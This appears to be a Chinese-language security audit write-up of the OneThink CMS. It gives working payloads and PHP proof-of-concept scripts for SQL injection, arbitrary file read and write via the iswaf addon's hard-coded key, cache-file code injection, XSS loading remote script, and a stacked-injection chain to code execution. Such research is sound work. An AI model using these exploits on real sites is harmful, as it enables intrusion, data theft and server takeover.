onethink漏洞审计整理
旧版本
旧版本采用的thinkphp内核小于3.2,不支持堆叠注入
已知漏洞
其他漏洞
- 前台SQL注入漏洞
- 主要就是exp表达式和in表达式的处理问题
- 新版本升级到3.2.3不存在上述问题
前台SQL注入分析
同之前爆出的漏洞属于同一类型
在前台的article控制器中的index方法中调用了category方法

此方法中接受了参数,赋值给id,并没有进行类型判断直接传进了info方法

info方法中带入了where方法

形成了表达式注入
1 2
| category[]=exp&category==1)) and updatexml(1,concat(0x7e,user()),1)# //或者一个括号 category[]=in ('')) and (select 1 from (select sleep(4))x)# //或者一个括号
|
不在复现
新版本
已知漏洞
任意文件读取1
在iswaf的扩展中实例化了iswaf类并调用了初始化方法init

在init方法中接收到了相关的变量,进入了runapi方法

方法比较简单,简单的判断之后,进入了execute方法

通过此方法进行包含调用

这里的apis模块下有个getfiles.php

可以完成文件读取

测试poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php define('iswaf_connenct_key','5a17847748477a665e322c45a62ac51f'); function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4;
$key = md5($key ? $key : iswaf_connenct_key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string);
$result = ''; $box = range(0, 255);
$rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); }
for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; }
for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); }
if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } }
$a = serialize(array(array("../../../Application/Common/Conf/config.php"))); $r = authcode($a, "ENCODE"); echo $r; ?>
|
常量的值
define('iswaf_connenct_key','5a17847748477a665e322c45a62ac51f');
如果不能用可以爆破

复现

其他
前台任意文件读取2
依然存在另外一个方法看上去可以操作

主要就是通过正则吧所有的数据匹配出来就行
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php define('iswaf_connenct_key','5a17847748477a665e322c45a62ac51f'); function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4;
$key = md5($key ? $key : iswaf_connenct_key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string);
$result = ''; $box = range(0, 255);
$rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); }
for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; }
for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); }
if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } }
$a = serialize(array("../../../Application/Common/Conf/","*.php","~((.|\n)*)~")); $r = authcode($a, "ENCODE"); echo $r; ?>
|
复现

前台任意文件写入
漏洞分析
存在一个create_file方法

查看调用

继续跟进

poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php define('iswaf_connenct_key','5a17847748477a665e322c45a62ac51f'); function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4;
$key = md5($key ? $key : iswaf_connenct_key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string);
$result = ''; $box = range(0, 255);
$rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); }
for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; }
for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); }
if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } }
$a = serialize(array("../aaa","'.phpinfo();//")); $r = authcode($a, "ENCODE"); echo $r; ?>
|
复现
1
| action=create_config&args=5c50EIsk5FvBtic3Yb8ZET5vLSNF8weMvzfdCKtZWEcMR44H9nU246A2tAt3A1eWYGnRNFnqwaNfMn54zVazRqOh7L0uOrPxWDDH8Y1e&key=9fe5a371c4604cc90b29da182ada38b3
|

或者
http://127.0.0.1:8104/Addons/Iswaf/iswaf/database/conf/aaa.php
失败的前台文件读取3
待研究,目前没啥办法,再uri中apache和nginx的解析不一样
nginx遇到%2f或者%2e之后会自动解码
apache遇到%2f之后直接404
存在于一个插件中

这里的document_root为空,不然就简单了

可以看到这里只能读取index文件

当访问如下
/index.php/Home/Addons/execute/%2b../aaa.txt/../../../../../../aaa/../?XDEBUG_SESSION_START=14730&s=/Home/Addons/execute
测试后发现,当index.php真是存在时没办法通过../
跳目录的
apache会讲请求路径解码一次,所以php代码中也是解码一次,无效
前台缓存漏洞
能缓存的地方有不少,这里发现一处前台的缓存

在登录成功之后,会进行行为记录

此处会调用到get_nickname
而且当开放注册的时候,前台的注册用户名并没有进行限制
所以注册一个abc%0aphpinfo();//
用户
登录

生成缓存文件

缓存文件名需要缓存的key可以结合前面的文件读取
这里就是

由于长度限制
exp
为%0aeval($_GET[1])#
前台POST型反射XSS
代码就很简单了

效果

后台GET型反射XSS
原因就是在默认配置下,未配置默认的过滤器

在view中存在反射型xss

效果

后台存储型XSS
代码就不看了

效果

前台存储型XSS
前台是可以注册用户的,用户名没有过滤,在输出时也不存在过滤

但是有一点就是数据库中nickname的值的长度限制了16位

所以构造了如下payload

效果

虽然这里可以传r参数,来设置一页显示多少用户,但是这是后台并不是我们可以控制的,默认值设置的是10,所以我们需要构造10个用户组成的payload
加载一个远程js文件,http://127.0.0.1:8104/a.js

最终测试如下,正好10行

插入后如下

成功加载远程js

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <html> <body> <script> document. write( '<script sr' +'c="http:/' +'/127.0.0.' +'1:8104/a.' +'js"></s' +'cript>'); </script> </body> </html>
|
后台任意文件写入
后台存在多处文件写入,主要就是系统扩展允许构造,不是通过上传或者商店等其他形式
最好写的还是config文件

直接添加配置代码即可

效果

后台注入+代码执行
这个可能操作起来相对复杂了一些
代码中引用了auth的验证模块,此模块在一定条件下存在代码执行,如果后台可以直接配置就相对比较简单
不能配置的话就需要结合堆叠注入来利用
先看一下代码执行的流程
首先可以肯定这是一个对后台用户的鉴权,所以需要管理员的身份
在初始化方法中,调用了checkRule方法

跟进

在check方法中调用了getauthlist

进入此方法

至于这个正则,匹配不到会输出原数据

但是由于这个字段并不能被控制

所以这里,需要一个堆叠注入,后台的堆叠注入就很多了
find注入
存在多处,这里是Action/edit

bind注入
这种类型也比较多

拼接注入
只找到一处Admin/getMenus

利用方式
以find注入为例

直接堆叠利用
1 2 3
| http://127.0.0.1:8104/admin.php?s=/Action/edit.html
id[where]=1;update onethink_auth_rule set `condition` = '1).file_put_contents("1.php","aaa").(1' where id =1;#
|
下图去掉个井号

然后登陆一个普通的后台账户,即可触发代码执行

前台SQL注入
发现相对偶然,实际方法是在后台,但是存在某些方法可以前台调用,所以一开始被忽略了
在admin控制器中存在一个lists方法
options数组中的order键值可控

进入parseOrder,可以产生注入

admin控制器是一个后台鉴权控制器,每个后台控制器都继承自admin
所以,查看lists方法的调用,找到下面这么一处

但是这也是一个后台方法
再次跟进admin的鉴权行为

跟进此方法

从数据库中找到,11个可以公开访问的后台方法

恰巧就有我们上面提到的方法
效果

但是还存在限制,由于参数值只能是字符串,所以正常情况下不能存在逗号

但是并不影响update语句的执行
可以结合上面的后台代码执行漏洞直接getshell